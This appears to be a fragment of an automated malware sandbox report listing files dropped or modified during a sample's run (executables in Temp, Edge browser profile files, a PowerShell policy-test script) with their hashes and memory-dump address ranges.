SHA256 fffc160a4c555057143383fec606841cd2c319f79f52596e0d27322a677dca0b
SHA512 fe349af0497e2aa6933b1acfea9fecd2c1f16da009a06ac7d7f638353283da3ef04e9c3520d33bae6e15ea6190420a27be97f46e5553a538b661af226c241c6b

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

MD5 dcbd05276d11111f2dd2a7edf52e3386
SHA1 f5dc6d418d9fb2d2cfa4af440ec4ff78da8f11ec
SHA256 cea5245bab036b03f89d549c71f47df8a14854b0de515643bf95319ec5af71d4
SHA512 5f1a9c993cd5394e23b39c43cc7479355c922d1ee8ea48109bbad805209dee697e20759257eca9e2f1b75d34a8c4b4c428a736fa8a468dc18de6c44cb6394846

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

MD5 c067b4583e122ce237ff22e9c2462f87
SHA1 8a4545391b205291f0c0ee90c504dc458732f4ed
SHA256 a16dbcd03a7549fbaf7cad1bedd01dcb961a5d43c873f1d1a50892618a06662e
SHA512 0767cba9f10154b4e28cf6a55b6fc827a96c4fbc88e2d67acd645a0a7a604a3beb63ea58d7febcf8b17de1ea3d2097e76ceac1b36b9fecf9a0945a31a9e211c3

memory/3608-1212-0x0000022013500000-0x0000022013556000-memory.dmp

memory/2644-1211-0x0000000000400000-0x00000000004AA000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\69c30dd9-0203-4fab-af2e-96f7aeb171eb\index-dir\the-real-index

MD5 d1e1f257cbf5bbfea5d819d622680797
SHA1 27d2c30d368a6bc8d2e7fc19c7f41de9d6c1a435
SHA256 0e2e8ab56dc9e36b659f9e2f11a3d20cc14c04b2c76deda20590c116d7e96167
SHA512 9e3e037bee4845aa2912536b82fd4404bbc97e07332469fe8fe91cfd0ecae5ab888c2200867d0a23bbccccde1857338f431d2fb3920d4778016c7012bbe8bfee

memory/2644-1226-0x000001C0A29B0000-0x000001C0A2A94000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\69c30dd9-0203-4fab-af2e-96f7aeb171eb\index-dir\the-real-index~RFe597313.TMP

MD5 b8cea5c933b43d918e79f457dd020b9f
SHA1 933d637e2995787b067bff2be0206bd2cfe1fff5
SHA256 a9b9e62d1b181eafe667f963c15463bf8d0607cbd6e26a2d135f0bfba72909c4
SHA512 890c6011d45032f32cfb4e841caa6b282fbb5d3f253596d8355c4a9d21d6aa8cf8e4b91c4e9ad5e819141e80e57e9838e7c04a0e4facd5c5c1d7eca7144874d9

memory/3276-1227-0x00007FFD1EC20000-0x00007FFD1F6E1000-memory.dmp

memory/3608-1244-0x00000220136C0000-0x0000022013714000-memory.dmp

memory/2644-1247-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1248-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/7104-1251-0x00000000743A0000-0x0000000074B50000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 2ba942d79f4db6b9c68d0b2b4ba649e8
SHA1 4737a303f1bdcf96510cac8f6f3580d851e5485e
SHA256 10ad69ebc7b83151247bf0e56d86905eb48c8a3405ae54800bb3d8a3fd8b7b6b
SHA512 e9b61fc32b3dd0b6115872d9ffbda80de6800f9ebf799dd7e161b59a492435811421e758be044a6b23ac4af3376980dc5808d27467c9194abc0ed43d708d4b27

memory/2644-1252-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1234-0x000001C0A29A0000-0x000001C0A29B0000-memory.dmp

memory/2644-1254-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\latestX.exe

MD5 bae29e49e8190bfbbf0d77ffab8de59d
SHA1 4a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256 f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA512 9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

memory/2644-1229-0x00007FFD1EC20000-0x00007FFD1F6E1000-memory.dmp

memory/6768-1221-0x0000000005080000-0x0000000005090000-memory.dmp

memory/892-1256-0x0000000000E70000-0x0000000000E71000-memory.dmp

memory/2644-1257-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1259-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1261-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1263-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1265-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1267-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1269-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 17e607bfe3ab4fcbfc54b0232f2585d7
SHA1 ed2f590ed71af80ca93589f5f91ea62ba5e8c5ba
SHA256 7961f9553ff0b410c021cc48714c8b9523daf560aad28670027f8711c4a48412
SHA512 a64ebf508f28f0b2d49d02b325183f583510b8e22cf78827e51e99251d8db3316ea6e67e4aa66309962ed44e37ab213678e6d196206a1d0df62a1080bdc688c8

memory/2644-1271-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1282-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1284-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1286-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1288-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 16e7fd7cc2c674834b9ae4afa381c261
SHA1 af6d0b74fe66098d2b72d3f63371849048e17c97
SHA256 235b253812b57d0bade5f226d9630dc74793c752df8cb833a9f6dc6be930bdc0
SHA512 b8f29d54be3b07f2a8618a0680aab3dedfc9e05e4c8501d84cb3389e8305957f5989cf2c21f5ee3e6b72eef76ffa9f72ea3bd4e06384beac9464274ff806656e

memory/2644-1295-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1297-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1299-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1301-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1303-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1305-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/2644-1307-0x000001C0A29B0000-0x000001C0A2A91000-memory.dmp

memory/5644-1373-0x00000000023E0000-0x00000000023E9000-memory.dmp

memory/5644-1372-0x00000000007D0000-0x00000000008D0000-memory.dmp

memory/1668-1378-0x0000000000400000-0x0000000000409000-memory.dmp

memory/6364-1389-0x0000000002B50000-0x0000000002F58000-memory.dmp

memory/6364-1394-0x0000000002F60000-0x000000000384B000-memory.dmp

memory/6364-1399-0x0000000000400000-0x0000000000D1C000-memory.dmp

memory/3608-1588-0x00007FFD1EC20000-0x00007FFD1F6E1000-memory.dmp

memory/3908-1642-0x0000000002BF0000-0x0000000002C26000-memory.dmp

memory/3908-1646-0x00000000743A0000-0x0000000074B50000-memory.dmp

memory/3908-1648-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/3908-1652-0x0000000005330000-0x0000000005958000-memory.dmp

memory/1668-1662-0x0000000000400000-0x0000000000409000-memory.dmp

memory/3908-1667-0x0000000005210000-0x0000000005232000-memory.dmp

memory/3908-1669-0x0000000005B10000-0x0000000005B76000-memory.dmp

memory/3908-1672-0x0000000005B80000-0x0000000005BE6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aesgdtnk.dre.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3908-1689-0x0000000005BF0000-0x0000000005F44000-memory.dmp

memory/3908-1703-0x00000000061F0000-0x000000000620E000-memory.dmp

memory/5116-1706-0x00007FFD1EC20000-0x00007FFD1F6E1000-memory.dmp

memory/5116-1708-0x0000026447B80000-0x0000026447B90000-memory.dmp

memory/5116-1710-0x0000026447B80000-0x0000026447B90000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 6fe782f7595c4442cd115bd425beebf3
SHA1 cce033152b35ec39e0a5516981bc7d3a368651a3
SHA256 c18c9c08092623bc0ff01f1b17b6f03312758ebbc85cc8508bb17727f725b3b1
SHA512 fb937b5f7685f99d042cc12242c75a3f223898763c2ff3643bc21157c99d6fcce2687aba1c1c241b0fa342681846ccb51d27b1b489b457e1df2de218a89bb425

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 1bd1ffe31ac5a3861cefd90d6c27749e
SHA1 5e36a5509bfeb332b5e4c39b6dc87173edfcf285
SHA256 296999690cf176b8057ae660999b4d3777c43c52cbe56a244dfa46f722af1d05
SHA512 b7df0a13923ef31237a4d0f2a66fe3519df1389814f3eddb860c4832afcff405f591410db3e36f8237875d004883c490a4c6515b6d76591500bf8649bd4aac5e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 55de554fe67d2e7c9a1e74e6ac222f26
SHA1 6a3b95f7b9825d8352e497996800aa60b479f66b
SHA256 641cd311d4d666ac65e58a5495f1942b64c46797b97d645c021ed4c92e5799f4
SHA512 702900cc493ec98bb627d4863a24e1f57ae162b48868966b0e699b67b72577f95628a85013d9318d9c9b77d8a749f2ae91672bfa979d7e6cc9dca95a9fe8453a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 8686fb33c5b5460ea8f493bb6c136177
SHA1 53146d9c0b33f2068139e25a1f2159b4b3787b4c
SHA256 51c2bde401f7446d67b0c37878cf4e3ef86417e5a1c842706c6ff70fda83f2e0
SHA512 c2ec82c40de4d776527a1b3d2b99c4f6e4f68d8def62075d8350ff70d7974a721fb0129e85e7807125c24326adb883d5968b549b6ba79978256f4f742d75bc43

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 bf97bcfa102e8d6ee22f3b0a91c5e73d
SHA1 06fe3d341ff7b5a2570e6637830035b493af8a06
SHA256 1d810a8956bae0378784441df981e3c90e8dbcca279d5babc51f9f82db9d0600
SHA512 83618fc39534672085e0205ebfcc4eb3d721a458ae184980a2533210f83d72742de1a364acc432610e830fdba199140c6ca47d51e9d3deb2b2e381e8d4459bc9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 fb4bfee0c2594a33668fd6b8474adbce
SHA1 2078d07d2a33ce98400237b7010c1eda1d0e3df1
SHA256 975cfd3bb093e994027c49161b693fd85f65c6936223a445cbb9765c66de8d99
SHA512 dc79282b6f51f6d02c6c8992f9efcbbde6acb8a1213ba2306b33135dd000dec9bcdf7e30894b9d1f7d4693285765d6366a5cfa46adb2d0b3c19b84842759d398